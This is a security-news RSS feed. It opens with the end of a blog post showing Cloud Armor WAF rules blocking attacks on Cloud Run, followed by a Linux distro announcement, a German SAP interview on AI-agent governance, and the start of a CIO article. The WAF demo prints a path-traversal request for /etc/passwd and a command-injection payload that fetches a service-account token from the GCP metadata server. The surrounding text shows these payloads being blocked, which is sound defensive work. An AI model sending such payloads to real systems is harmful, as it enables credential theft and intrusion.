<p><a href="https://cloud.google.com/security/products/armor"><span>Cloud Armor</span></a><span> provides WAF protections that can be integrated with the Load Balancer to filter malicious traffic. The following examples demonstrate how to configure Cloud Armor security policies to block the specific local file inclusions, remote code execution and traversal attacks previously outlined.</span></p>
<h4><span>Local File Inclusion</span></h4>
<p><span>The </span><code>lfi-v33-stable</code><span> preconfigured WAF rules can block common local file inclusion attacks (</span><a href="https://docs.cloud.google.com/armor/docs/waf-rules#local_file_inclusion_lfi"><span>local file inclusion reference</span></a><span>).</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>evaluatePreconfiguredWaf('lfi-v33-stable', {'sensitivity': 3})</code></pre>
<p><span><span>Figure 7: Cloud Armor lfi-v33-stable WAF rule configuration</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>Blocking a path traversal request </span><code>../../../etc/passwd</code><span> resulting in a 403 forbidden:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>curl -X POST https://exampleabc01.com -H "Content-Type: application/json" -d '{"file": "../../../etc/passwd}'
&lt;!doctype html&gt;&lt;meta charset="utf-8"&gt;&lt;meta name=viewport content="width=device-width, initial-scale=1"&gt;&lt;title&gt;403&lt;/title&gt;403 Forbidden</code></pre>
<p><span><span>Figure 8: Verification of Cloud Armor blocking path traversal request, resulting in a 403 forbidden</span></span></p></div>
<div class="block-paragraph_advanced"><h4><span>Remote Code Execution</span></h4>
<p><span>The </span><code>rce-v33-stable</code><span> preconfigured WAF rules can block remote code execution attempts (</span><a href="https://docs.cloud.google.com/armor/docs/waf-rules#remote_code_execution_rce"><span>remote code execution reference</span></a><span>).</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>evaluatePreconfiguredWaf('rce-v33-stable', {'sensitivity': 3})</code></pre>
<p><span><span>Figure 9: Cloud Armor rce-v33-stable WAF rule configuration</span></span></p></div>
<div class="block-paragraph_advanced"><p><span>Blocking the remote code execution request from the previous example results in a 403 forbidden:</span></p></div>
<div class="block-paragraph_advanced"><pre class="language-plain"><code>curl -X POST https://exampleabc01.com -H "Contencurl -X POST https://exampleabc01.com -H "Content-Type: application/json" -d "{\"input\": \"curl 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' -H 'Metadata-Flavor: Google'\"}"
&lt;!doctype html&gt;&lt;meta charset="utf-8"&gt;&lt;meta name=viewport content="width=device-width, initial-scale=1"&gt;&lt;title&gt;403&lt;/title&gt;403 Forbidden</code></pre>
<p><span><span>Figure 10: Verification of Cloud Armor blocking Remote Code execution, resulting in a 403 forbidden</span></span></p></div>
<div class="block-paragraph_advanced"><h4><span>Serverless Architecture Controls</span></h4>
<p><span>Hardening Cloud Run services is only one part of a secure architecture. Because these services often connect to other Google Cloud resources, a single compromise can expose additional services. Implementing defense-in-depth is critical. Specifically, when using direct VPC egress or VPC Access connectors, use VPC Service Controls to restrict lateral movement and exfiltration through granular access policies.</span></p>
<h4><span>Secure Software Development Lifecycle (S-SDLC)</span></h4>
<p><span>While the previously outlined hardening strategies are critical, the ideal standard remains the proactive identification of vulnerabilities during the initial development stages. A deep dive into "Shift-Left" security is beyond the scope of this analysis, which focuses on mitigating risks within existing code. However, a Secure Software Development Lifecycle (S-SDLC) remains a fundamental principle. Robust code validation and continuous security testing are essential to neutralize threats before serverless functions are published externally.</span></p>
<h4><span>Cloud Run Threat Detection</span></h4>
<p><span>Beyond the hardening recommendations outlined in this post, </span><a href="https://cloud.google.com/security/products/security-command-center"><span>Google Cloud Security Command Center (SCC)</span></a><span> provides built-in services to detect control plane attacks against Cloud Run resources. These include detectors for credential access, reconnaissance, and the execution of scripts or reverse shells. The </span><a href="https://docs.cloud.google.com/security-command-center/docs/cloud-run-threat-detection-overview"><span>Cloud Run Threat Detection</span></a><span> service is available for Premium and Enterprise tiers.</span></p>
<h3><span>Conclusion</span></h3>
<p><span>Serverless applications drive agility and rapid business value. While "vibe-coding" has made it easier than ever to deploy code, this breakneck speed demands that teams integrate security early in the development lifecycle, move beyond default configurations, and prioritize a defense-in-depth strategy centered on identity and architecture. </span></p>
<h3><span>Acknowledgements</span></h3>
<p><span>This analysis would not have been possible without the assistance of Ischa Rijff, Phil Pearce, and Juraj Sucik.</span></p></div>]]></content:encoded>
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<title><![CDATA[LankeOS — A fully independent Linux distro built from scratch with a custom C++20 atomic package manager, Linux 7.1.1, and pure Wayland. Come vote for it on DistroWatch!]]></title>
<description><![CDATA[Hi everyone, I’ve been working on a fully independent Linux distribution for the past 5 months – no Debian/Arch/Fedora base, everything built from upstream source using my own toolchain. Now I think it brings something genuinely new to the table. Here is LankeOS, a fully independent Linux distrib...]]></description>
<link>https://tsecurity.de/de/3670775/linux-tipps/lankeos-a-fully-independent-linux-distro-built-from-scratch-with-a-custom-c-20-atomic-package-manager-linux-711-and-pure-wayland-come-vote-for-it-on-distrowatch/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670775/linux-tipps/lankeos-a-fully-independent-linux-distro-built-from-scratch-with-a-custom-c-20-atomic-package-manager-linux-711-and-pure-wayland-come-vote-for-it-on-distrowatch/</guid>
<pubDate>Wed, 15 Jul 2026 15:11:50 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hi everyone,</p> <p>I’ve been working on a fully independent Linux distribution for the past 5 months – no Debian/Arch/Fedora base, everything built from upstream source using my own toolchain.</p> <p>Now I think it brings something genuinely new to the table.</p> <p>Here is LankeOS, a fully independent Linux distribution built from scratch by a solo developer. If you're tired of "just another Ubuntu/Debian/Arch derivative," this one is genuinely different.</p> <p>What makes LankeOS special</p> <ol> <li>Custom package manager — lpkg (written in C++20)</li> </ol> <p>This is the centerpiece. lpkg is a from-scratch package manager with a WAL atomic transaction system — meaning it can survive power loss mid-install without breaking your system. It includes:</p> <p>- ELF DT_NEEDED verification — validates every shared library dependency against the repo before installing. No "missing .so" surprises.</p> <p>- Ctrl+C handling — the signal waits for current operation + rollback.</p> <p>- 410+ regression tests — including simulated power-loss recovery scenarios.</p> <p>- Aggregated index format — compact single-file index with all version/hash/dep info per package.</p> <p>- Static build support — one binary, runs anywhere.</p> <p>- Package transaction system with WAL-based logging, atomic commit, and rollback support — bringing database-style reliability to traditional mutable Linux package management.</p> <p>- .lpkg format = tar.zst + embedded metadata.json + content/ + hooks/</p> <ol> <li>Not a derivative — built from LFS methodology</li> </ol> <p>LankeOS is not based on Debian, Arch, Fedora, or any existing distro. Every one of its 284 packages is built from upstream source using its own LankeBUILD system. This is a true independent distribution.</p> <p>It supports modern hardware and runs perfectly on my Dell OptiPlex 5000 Micro.</p> <ol> <li>Modern (bleeding edge) software stack</li> </ol> <p>- Linux Kernel 7.1.1</p> <p>- GCC 16.1.1, LLVM/Clang 22.1, glibc 2.42</p> <p>- systemd 257.8</p> <p>- Wayland desktop via niri</p> <p>- PipeWire audio stack, Mesa graphics</p> <p>- Firefox, WebKitGTK, GTK3/4</p> <p>- OpenJDK 25, Node.js, Go, Rust 1.96, Ruby 4.0, Python 3 out of the box</p> <p>- mihomo proxy, fcitx5 Chinese input with CJK fonts</p> <ol> <li>Incredibly lean and fast</li> </ol> <p>- ~4 second boot from power-on to desktop in qemu</p> <p>- Runs on as little as 400-500 MiB RAM</p> <p>- toram kernel parameter copies the entire system to RAM for fully disk-less operation</p> <p>- OverlayFS-based persistent storage via LABEL=LANKE_DATA partition</p> <ol> <li>Smart initramfs with version-aware upgrades</li> </ol> <p>The init script detects version mismatches between the base file and the upper paritition, automatically enters a "live upgrade mode," and notifies the user. Built-in installer (lanke_install) handles GPT formatting, copying, and GRUB setup in one guided flow.</p> <p>Why LankeOS?</p> <p>LankeOS is built around three principles:</p> <p>### 1. Engineering first</p> <p>Instead of focusing on visual customization or superficial changes, LankeOS focuses on the underlying engineering of a Linux distribution.</p> <p>It provides its own:</p> <p>- build system (LankeBUILD)</p> <p>- package manager (lpkg)</p> <p>- package format</p> <p>- repository infrastructure</p> <p>- init and upgrade logic</p> <p>Every component exists because it solves a real system engineering problem.</p> <p>### 2. High technical density</p> <p>LankeOS aims to provide a complete development and daily-use environment while keeping the system lightweight.</p> <p>A single installation image includes:</p> <p>- complete C/C++/Rust/Python/Go/Java development toolchains</p> <p>- modern graphics stack (Wayland, Mesa, Vulkan)</p> <p>- multimedia support (PipeWire, FFmpeg)</p> <p>- desktop applications (Firefox, mpv, etc.)</p> <p>- package management and system development tools</p> <p>The goal is not to minimize the number of packages, but to maximize the amount of usable capability per byte.</p> <p>### 3. Stability through controlled complexity</p> <p>Although LankeOS follows a rolling-release model and uses recent upstream software, stability is achieved through strict integration testing.</p> <p>Every release is tested on real hardware, not only virtual machines.</p> <p>The development process includes:</p> <p>- reproducible package builds</p> <p>- dependency verification</p> <p>- regression tests</p> <p>- transaction-safe package operations</p> <p>- real hardware validation</p> <p>LankeOS is designed for users who want the flexibility of a lightweight distribution without sacrificing reliability.</p> <p>It is not another customized Linux image.</p> <p>It is an experiment in building a complete Linux distribution from the foundations up:</p> <p>a system where every layer can be understood, rebuilt, and improved.</p> <p>Links</p> <p>- GitHub: <a href="http://github.com/Wtada233/LankeOS">github.com/Wtada233/LankeOS</a></p> <p>- Package repo: <a href="http://lankerepo.wtada233.top/x86_64">lankerepo.wtada233.top/x86_64</a></p> <p>- Official site: <a href="http://lankeos.wtada233.top/">lankeos.wtada233.top</a></p> <p>- DistroWatch: <a href="https://distrowatch.com/dwres.php?waitingdistro=1104&amp;resource=links#new">https://distrowatch.com/dwres.php?waitingdistro=1104&amp;resource=links#new</a></p> <p>TL;DR: LankeOS is what happens when someone reads LFS anre distro around this" — with a crash-proof C++20 package</p> <p>manager, Linux 7.1.1, Wayland+Xwayland, 284 hand-built packages and a size of 1.24GiB. Go give it a vote on DistroWatch.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Wtada233"> /u/Wtada233 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1uw5yab/lankeos_a_fully_independent_linux_distro_built/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1uw5yab/lankeos_a_fully_independent_linux_distro_built/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[SAP-Studie: KI rechnet sich – Governance hinkt hinterher]]></title>
<description><![CDATA[Sean Kask, Chief AI Strategy Officer bei SAP SAP



Unternehmen stehen derzeit vor zwei gleichzeitigen Herausforderungen: Die Risiken rund um KI entwickeln sich schneller als die Governance, während sich der geschäftliche Nutzen oft nur schwer messen lässt.



Das ist eines der Kernergebnisse von...]]></description>
<link>https://tsecurity.de/de/3670250/it-security-nachrichten/sap-studie-ki-rechnet-sich-governance-hinkt-hinterher/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670250/it-security-nachrichten/sap-studie-ki-rechnet-sich-governance-hinkt-hinterher/</guid>
<pubDate>Wed, 15 Jul 2026 12:08:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Sean-Kask_19_9.png?w=1024" alt="Sean Kask, Chief AI Strategy Officer bei SAP" class="wp-image-4197230" width="1024" height="576" sizes="(max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Sean Kask, Chief AI Strategy Officer bei SAP </figcaption></figure><p class="imageCredit">SAP</p></div>



<p class="wp-block-paragraph">Unternehmen stehen derzeit vor zwei gleichzeitigen Herausforderungen: Die Risiken rund um KI entwickeln sich schneller als die Governance, während sich der geschäftliche Nutzen oft nur schwer messen lässt.</p>



<p class="wp-block-paragraph">Das ist eines der Kernergebnisse von <a href="https://www.sap.com/documents/2026/07/92b94d7d-5a7f-0010-bca6-c68f7e60039b.html" target="_blank" rel="noreferrer noopener">„The Value of AI“</a>, einer Studie, die SAP in Zusammenarbeit mit Oxford Economics in diesem Jahr zum zweiten Mal erstellt hat. Für die Studie wurden weltweit 2.600 Führungskräfte aus 13 Ländern befragt, darunter 200 Entscheiderinnen und Entscheider aus Deutschland.</p>



<h2 class="wp-block-heading">Hohe Erwartungen, geringe Vorbereitung</h2>



<p class="wp-block-paragraph">Im Durchschnitt wollen deutsche Unternehmen in diesem Jahr rund <strong>35 Millionen Euro</strong> in KI investieren und rechnen mit einem <strong>ROI von 24 Prozent</strong> (Vorjahr: 17 Prozent). Besonders hoch sind die Erwartungen an KI-Agenten: Ihr wirtschaftlicher Nutzen soll innerhalb von zwei Jahren auf rund <strong>18 Millionen Euro</strong> steigen. Und: <strong>90 Prozent</strong> der befragten Unternehmen schreiben Agentic AI das Potenzial zu, ihre Organisation grundlegend zu verändern. Andererseits fühlen sich nur <strong>vier Prozent</strong> der Unternehmen vollständig auf den Einsatz von KI-Agenten vorbereitet. </p>



<p class="wp-block-paragraph">Insbesondere beim Thema Governance bestehen Lücken:</p>



<ul class="wp-block-list">
<li>Nur <strong>elf Prozent</strong> der Befragten halten die Steuerungsfähigkeiten in ihrem Unternehmen für ausreichend,</li>



<li>mehr als <strong>50 Prozent</strong> verfügen nicht über Prozesse zur menschlichen Kontrolle von KI-Agenten, und</li>



<li>lediglich <strong>30 Prozent </strong>haben Berechtigungs- oder Agentenverzeichnisse eingerichtet.</li>
</ul>



<p class="wp-block-paragraph">Gleichzeitig befürchten oder akzeptieren viele Unternehmen, KI-Agenten schneller einzuführen, als sie diese kontrollieren können. Weitere Bremsklötze sind Schwächen in der Organisation des KI-Einsatzes, mangelhafte Datenqualität, unzureichende Qualifizierung der Beschäftigten sowie die weit verbreitete Nutzung von Schatten-KI.</p>



<p class="wp-block-paragraph">Im CW-Gespräch nimmt <a href="https://www.linkedin.com/in/seankask/" target="_blank" rel="noreferrer noopener">Sean Kask</a>, Chief AI Strategy Officer bei SAP, zu den wichtigsten Ergebnissen der Studie Stellung.</p>



<h2 class="wp-block-heading">“Die Governance-Frage ist aktuell die größere Herausforderung”</h2>



<p class="wp-block-paragraph"><em>Herr Kask, im Vorwort der Studie schreiben Sie, dass Unternehmen derzeit vor zwei Herausforderungen gleichzeitig stehen: Die Risiken rund um KI entwickeln sich schneller als die Governance, während sich der geschäftliche Nutzen oft nur schwer messen lässt. Was bereitet Unternehmen die größeren Probleme?</em></p>



<p class="wp-block-paragraph"><strong>Sean Kask:</strong> Den geschäftlichen Nutzen von IT-Investitionen zu messen, war nie einfach. Das gilt auch für KI. Deshalb halte ich die Governance-Frage aktuell für die größere Herausforderung. Klassische Governance-Prinzipien und bewährte Verfahren für sichere Softwareentwicklung bleiben zwar auch im Zeitalter großer Sprachmodelle und agentischer KI wichtig. Gleichzeitig entstehen aber völlig neue Risiken.</p>



<p class="wp-block-paragraph">Sobald Unternehmen KI breit ausrollen, entdecken sie beispielsweise plötzlich Hunderte oder sogar Tausende sogenannter „Shadow Agents“, die Mitarbeitende ohne zentrale Kontrolle einsetzen. Oder sie stellen fest, dass ein erheblicher Teil der Belegschaft Inhalte in private ChatGPT-Konten kopiert. Solche Risiken werden häufig erst sichtbar, wenn KI bereits produktiv genutzt wird.</p>



<p class="wp-block-paragraph"><em>Deutsche Unternehmen investieren laut Ihrer Studie mit durchschnittlich fast 40 Millionen Dollar mehr in KI als Unternehmen in allen anderen untersuchten Ländern. Woran liegt das?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> Mich hat weniger die Höhe der Investitionen überrascht als vielmehr die Tatsache, dass sich Investitionsniveau und erzielter Return on Investment über die verschiedenen Länder hinweg insgesamt sehr ähnlich entwickelt haben. Warum Deutschland mehr investiert, lässt sich nicht eindeutig beantworten. Teilweise dürfte es schlicht daran liegen, dass die Kosten hier höher sind als beispielsweise in Indien.</p>



<p class="wp-block-paragraph">Wir sehen aber auch eine hohe KI-Adoption bei deutschen Unternehmen. SAP verfügt über ein Dashboard, mit dem wir nachvollziehen können, wie unsere Kunden KI-Funktionen einsetzen. Deutschland gehört dabei zu den Ländern mit einer besonders hohen Nutzung. Hinzu kommen die starke industrielle Basis und die politischen Impulse aus Europa, die den Einsatz von KI vorantreiben. Entsprechend investieren Unternehmen hier gezielt in den Aufbau entsprechender Kompetenzen.</p>



<p class="wp-block-paragraph"><em>Laut Studie sind 47 Prozent der deutschen Unternehmen mit dem Return on Investment ihrer KI-Investitionen zufrieden. Gleichzeitig sagen 77 Prozent, dass sie das Potenzial von KI noch längst nicht ausschöpfen. Ist das nicht ein Widerspruch?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> Nein, dieses Muster sehen wir weltweit. Unternehmen investieren zunächst in einige wenige KI-Anwendungsfälle und stellen fest: Das funktioniert, wir erzielen einen Mehrwert. Entsprechend sind sie mit ihrer Investition zufrieden.</p>



<p class="wp-block-paragraph">Doch genau dadurch erkennen sie auch weitere Einsatzszenarien. Sie beschäftigen sich mit KI-Agenten und möchten diese ebenfalls nutzen. Genau an diesem Punkt stoßen viele jedoch auf neue Herausforderungen bei der Einführung und Skalierung.</p>



<p class="wp-block-paragraph">Die Studie zeigt deshalb vor allem eine Lernkurve: Je mehr Erfahrungen Unternehmen mit KI sammeln, desto größer wird ihr Bewusstsein für das bislang ungenutzte Potenzial.</p>



<p class="wp-block-paragraph"><em>Der Studie zufolge verfügen nur 35 Prozent der deutschen Unternehmen über KPIs auf Vorstandsebene, die direkt an die Einführung von KI gekoppelt sind. Welche Kennzahlen sollten Aufsichtsgremien und CEOs aus Ihrer Sicht unbedingt messen?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> Ein zentraler Indikator ist für uns das Enablement der Mitarbeitenden. Wie viele Beschäftigte haben bereits Schulungs- oder Upskilling-Programme rund um KI erfolgreich absolviert? Ohne entsprechende Kompetenzen bleibt auch die KI-Adoption hinter ihren Möglichkeiten zurück.</p>



<p class="wp-block-paragraph">Ebenso wichtig ist Transparenz. Unternehmen sollten wissen, welche KI-Agenten in ihrer Landschaft tatsächlich im Einsatz sind. SAP bietet hierfür den SAP AI Agent Hub an, der der Agenten aus SAP- und Drittanbieter-Umgebungen automatisch entdeckt und inventarisiert. Kunden konnten so bereits Tausende Agenten identifiziert, was den Bedarf an zentraler Governance und Transparenz deutlich macht.</p>



<p class="wp-block-paragraph">Außerdem sollten Unternehmen einen vollständigen Überblick über alle KI-Anwendungsfälle haben. Für jeden Use Case sollte ein belastbarer Business Case vorliegen. Häufig erleben wir zwei Extreme: Entweder steht der Vorstand unter Druck, möglichst schnell KI einzuführen und stellt dafür pauschal Budget bereit. Oder das Management hält sich zunächst zurück. Dann entstehen überall im Unternehmen eigenständig Pilotprojekte, einzelne Fachbereiche beschaffen eigene Werkzeuge und schließen eigene Verträge ab.</p>



<p class="wp-block-paragraph">Bei SAP verfolgen wir deshalb einen klar strukturierten Auswahlprozess. Jede Idee durchläuft zunächst eine Bewertung des zu erwarteten Geschäftswerts. Danach prüfen wir die technische Machbarkeit, die Datenverfügbarkeit sowie ethische und Governance-Aspekte. Aus Sicht des Managements ist entscheidend, jederzeit Transparenz über alle laufenden KI-Projekte zu haben und diese konsequent nach ihrem Geschäftswert zu priorisieren.</p>



<h2 class="wp-block-heading">“Auch Agenten brauchen einen ‘Hire-to-Retire’-Lebenszyklus”</h2>



<p class="wp-block-paragraph"><em>Auch mit der Einführung von Dutzenden oder sogar Hunderten KI-Agenten wird die Governance immer komplexer. Welche Funktionen benötigen Enterprise-Plattformen, um KI-Agenten sicher und kontrolliert im großen Maßstab zu verwalten?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> Wir versuchen bewusst, KI nicht zu stark zu vermenschlichen. Dennoch hilft die Analogie: Für Agenten braucht es einen vollständigen „Hire-to-Retire“-Lebenszyklus. Das beginnt mit der Erkennung und Registrierung eines Agenten. Anschließend wird er in die Unternehmensumgebung integriert, erhält die notwendigen Berechtigungen und Zugriff auf die Datenquellen, die er für seine Aufgaben benötigt.</p>



<p class="wp-block-paragraph">Ebenso wichtig ist die Observability. Unternehmen müssen jederzeit nachvollziehen können, was ein Agent im System tatsächlich macht. Darüber hinaus sollten sie Leistungskennzahlen erfassen: Erreicht der Agent die gewünschten Ergebnisse? Wie effizient arbeitet er? Wie viele Tokens verbraucht er? Wie viele Verarbeitungsschritte benötigt er für eine Aufgabe?</p>



<p class="wp-block-paragraph">Letztlich geht es um mehrere Bausteine: ein vollständiges Inventar aller Agenten, geeignete Governance-, Risk- und Compliance-Mechanismen (GRC), Transparenz über das Verhalten der Agenten sowie eine kontinuierliche Überwachung. Nur so lässt sich sicherstellen, dass KI-Agenten dauerhaft innerhalb der definierten Leitplanken arbeiten und den gewünschten Geschäftswert liefern.</p>



<p class="wp-block-paragraph"><em>Welche Geschäftsprozesse werden Unternehmen Ihrer Einschätzung nach in den nächsten zwei bis drei Jahren tatsächlich vollständig an KI-Agenten delegieren?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> Derzeit funktionieren solche Agenten vor allem in klar abgegrenzten Anwendungsfällen besonders gut. SAP wird mehr als 50 (aktuell 34) spezialisierte KI-Agenten veröffentlichen.</p>



<p class="wp-block-paragraph">Ein Beispiel ist die periodische Rechnungslegung. Dort müssen Buchungen anhand zahlreicher Regeln erfolgen, die in Dokumenten, E-Mails oder früheren Transaktionen hinterlegt sind. Der Agent analysiert diese verschiedenen Informationsquellen, leitet daraus eine Empfehlung ab und schlägt dem Sachbearbeiter die passende Buchung vor.</p>



<p class="wp-block-paragraph">Nach dem, was wir aus Kundenprojekten hören, verbringen Mitarbeitende mittelgroßer Unternehmen heute oft rund zwölf Stunden pro Monat mit diesen Aufgaben. Mithilfe eines KI-Agenten lässt sich dieser Aufwand auf zwei bis drei Stunden reduzieren.</p>



<p class="wp-block-paragraph">Ein weiteres Einsatzfeld ist die Produktionsplanung. Ändern sich Liefertermine oder gehen kurzfristig neue Aufträge ein, muss der gesamte Produktionsplan angepasst werden. Genau solche komplexen Optimierungsaufgaben eignen sich hervorragend für KI-Agenten.</p>



<p class="wp-block-paragraph">Grundsätzlich gibt es kaum Grenzen dafür, in welchen eng umrissenen Geschäftsprozessen Agenten eingesetzt werden können. Vollständig autonom werden sie allerdings zunächst nicht agieren.</p>



<h2 class="wp-block-heading">“Vertrauen in KI beginnt mit einer stabilen Basis”</h2>



<p class="wp-block-paragraph"><em>Viele Unternehmen tun sich noch schwer, KI-Agenten zu vertrauen. Schließlich arbeiten große Sprachmodelle probabilistisch und können halluzinieren. Gerade bei Finanzprozessen ist das problematisch. Wie schaffen Sie Vertrauen?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> Vertrauen beginnt mit einer stabilen Basis. Die ERP-Systeme bleiben das verlässliche „System of Record“. Sie arbeiten deterministisch, enthalten die Geschäftslogik und die relevanten Unternehmensdaten. KI-Agenten bauen auf dieser Basis auf – sie ersetzen sie nicht.</p>



<p class="wp-block-paragraph">Ebenso wichtig ist das „<em>Human in the Loop“-Prinzip</em>. Mitarbeitende müssen nachvollziehen können, was der Agent macht, seine Ergebnisse überprüfen und bei Bedarf eingreifen. Deshalb spielt auch die Qualifizierung der Beschäftigten eine entscheidende Rolle. Sie müssen verstehen, wie generative KI funktioniert und wo ihre Grenzen liegen.</p>



<p class="wp-block-paragraph">Natürlich können Sprachmodelle halluzinieren. Gleichzeitig darf man nicht vergessen, dass auch Menschen nicht fehlerfrei arbeiten. Entscheidend ist das Zusammenspiel von Mensch und KI. So lassen sich sowohl die Effizienz als auch die Qualität vieler Geschäftsprozesse verbessern.</p>



<p class="wp-block-paragraph">Ein weiterer wichtiger Baustein ist Transparenz. Unsere globale KI-Ethikrichtlinie schreibt beispielsweise vor, dass Nutzer immer erkennen können müssen, wenn KI beteiligt ist. In Joule lässt sich nachvollziehen, welche Datenquellen der Agent genutzt hat und welche Schritte er bei seiner Entscheidung durchlaufen hat. Diese Nachvollziehbarkeit ist eine wesentliche Voraussetzung für Vertrauen.</p>



<p class="wp-block-paragraph"><em>Was unterscheidet einen SAP-Agenten von einem allgemeinen KI-Agenten, der lediglich auf ein ERP-System zugreift?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> Der entscheidende Unterschied liegt darin, dass Joule und die SAP-Agenten direkt im ERP-System verankert sind. Dort haben wir beispielsweise einen „Knowledge Graph“ aufgebaut, der die semantischen Beziehungen zwischen sämtlichen Tabellen, Geschäftsobjekten und Datenfeldern beschreibt.</p>



<p class="wp-block-paragraph">Um die Größenordnung zu verdeutlichen: Der SAP S/4HANA Knowledge Graph basiert auf rund 452.000 ABAP-Tabellen, 7,3 Millionen Datenfelder und Tausenden analytischen Sichten. Die semantischen Beziehungen zwischen diesen Artefakten werden im Knowledge Graph modelliert und für KI-Anwendungen nutzbar gemacht.</p>



<p class="wp-block-paragraph">Wenn ein Anwender beispielsweise sämtliche offenen Bestellungen einsehen möchte, muss der Agent nicht erst mühsam nach den relevanten Informationen suchen. Er weiß sofort, welche Tabellen und Objekte relevant sind und kennt auch die Beziehungen zwischen einer Bestellung, einer Bestellanforderung, den zuständigen Genehmigern und weiteren Geschäftsobjekten. Dadurch arbeitet der Agent nicht nur deutlich präziser, sondern benötigt auch erheblich weniger Tokens, weil er den Suchraum stark eingrenzen kann.</p>



<p class="wp-block-paragraph">Versucht man stattdessen, KI lediglich auf ein bestehendes System aufzusetzen oder Daten aus einem relationalen ERP-System herauszulösen, gehen viele dieser Beziehungen verloren. Man zerstört gewissermaßen den semantischen Kontext, der für präzise Antworten entscheidend ist.</p>



<p class="wp-block-paragraph">Deshalb betrachten wir das ERP-System als einen enormen strategischen Vorteil. Es ist seit Jahrzehnten das System of Record und enthält rund 50 Jahre kodiertes Geschäfts- und Prozesswissen. Dieses Wissen bildet die Grundlage für das, was wir als „<em>A<a href="https://www.computerwoche.de/article/4170377/sap-stellt-das-autonomous-enterprise-vor.html">utonomous Enterprise</a>“</em> bezeichnen. Die Agenten bauen auf diesem Wissen auf und entwickeln es weiter.</p>



<p class="wp-block-paragraph">Künftig werden SAP-Agenten zudem über Standards wie Agent-to-Agent (A2A) bidirektional mit Agenten anderer Anbieter kommunizieren.</p>



<p class="wp-block-paragraph"><em>Laut Ihrer Studie schafft KI derzeit den größten Mehrwert bei der Entscheidungsfindung, der Kundeninteraktion und der Gewinnung neuer Erkenntnisse – weniger bei klassischen Produktivitätssteigerungen. Wird sich dadurch die Art verändern, wie Unternehmen KI-Investitionen künftig begründen?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> Die Produktivität wurde in unserer Studie lediglich etwas niedriger bewertet als beispielsweise die Gewinnung neuer Erkenntnisse. Langfristig bleibt Produktivität aber das eigentliche Ziel. Gerade Europa leidet seit Jahren unter einem vergleichsweise schwachen Produktivitätswachstum.</p>



<p class="wp-block-paragraph">Bei SAP bewerten wir deshalb jede neue KI-Funktion zunächst anhand ihres konkreten Geschäftsnutzens. Für alle Agenten und KI-Funktionen, die wir in unserem „AI Feature Catalog“ erfassen, erstellen wir zunächst eine Wertanalyse. Wir fragen: Welchen Nutzen hat die Funktion für den Anwender? Trägt sie zu mehr Umsatz bei? Steigert sie die Produktivität? Erst dann wird sie weiterentwickelt.</p>



<p class="wp-block-paragraph">Im Moment liegt der größte Mehrwert häufig noch darin, Informationen aus strukturierten und unstrukturierten Datenquellen zusammenzuführen und per natürlicher Sprache zugänglich zu machen. Der nächste Schritt besteht aber darin, diese Erkenntnisse direkt in effizientere Geschäftsprozesse zu überführen. Genau dort werden sich die größten Produktivitätsgewinne künftig realisieren.</p>



<h2 class="wp-block-heading">“Der größte Fehler wäre, gleich das gesamte Unternehmen zu transformieren”</h2>



<p class="wp-block-paragraph"><em>Wenn Sie CIOs nur einen oder zwei Ratschläge für den Übergang von generativer KI zu KI-Agenten geben könnten – welche wären das?</em></p>



<p class="wp-block-paragraph"><strong>Kask:</strong> Der größte Fehler wäre aus meiner Sicht, gleich das gesamte Unternehmen transformieren oder zunächst sämtliche Daten perfekt aufbereiten zu wollen.</p>



<p class="wp-block-paragraph">Stattdessen sollte man überlegen, welche Art von <em>Agent einen hohen Mehrwert schaffen kann – und diesen dann umsetzen.</em> Natürlich braucht dieser Agent Zugriff auf konsistente und kontextreiche Unternehmensdaten. Genau daran arbeiten wir bei SAP mit Technologien wie dem „Knowledge Graph“, der die semantischen Zusammenhänge der Unternehmensdaten abbildet.</p>



<p class="wp-block-paragraph">Darüber hinaus stellen wir mit „Data Products“ und der „SAP Business Data Cloud“ Werkzeuge bereit, die Daten aus unterschiedlichen Quellen für KI-Agenten nutzbar machen. Dank Zero-Copy- und Data-Fabric-Ansätzen können Informationen aus Altsystemen, Snowflake oder ERP-Systemen zusammengeführt werden, ohne dass Daten dafür zunächst umfangreich repliziert werden müssen. Für einen Einkaufsagenten lassen sich so genau die relevanten Daten für den jeweiligen Anwendungsfall bereitstellen.</p>



<p class="wp-block-paragraph">Der entscheidende Punkt ist: Unternehmen müssen nicht warten, bis sie vollständig in die Cloud migriert oder ihre gesamte Datenlandschaft konsolidiert haben. Mit den heute verfügbaren Technologien lassen sich Daten bereits jetzt für konkrete KI-Agenten nutzbar machen, kontrolliert verwalten und auf dieser Basis schnell erste geschäftliche Mehrwerte erzielen. Wer dagegen erst auf die perfekte Ausgangslage wartet, läuft Gefahr, den Anschluss zu verlieren.</p>



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<title><![CDATA[5 ways for CIOs to avoid AI bill shock]]></title>
<description><![CDATA[Gen AI spending is moving beyond the familiar software model of seats, licenses, and pilots. As AI shifts from copilots to embedded workflows and autonomous agents, one user request can trigger multiple model calls, retrieval steps, retries, orchestration layers, and infrastructure events. A tool...]]></description>
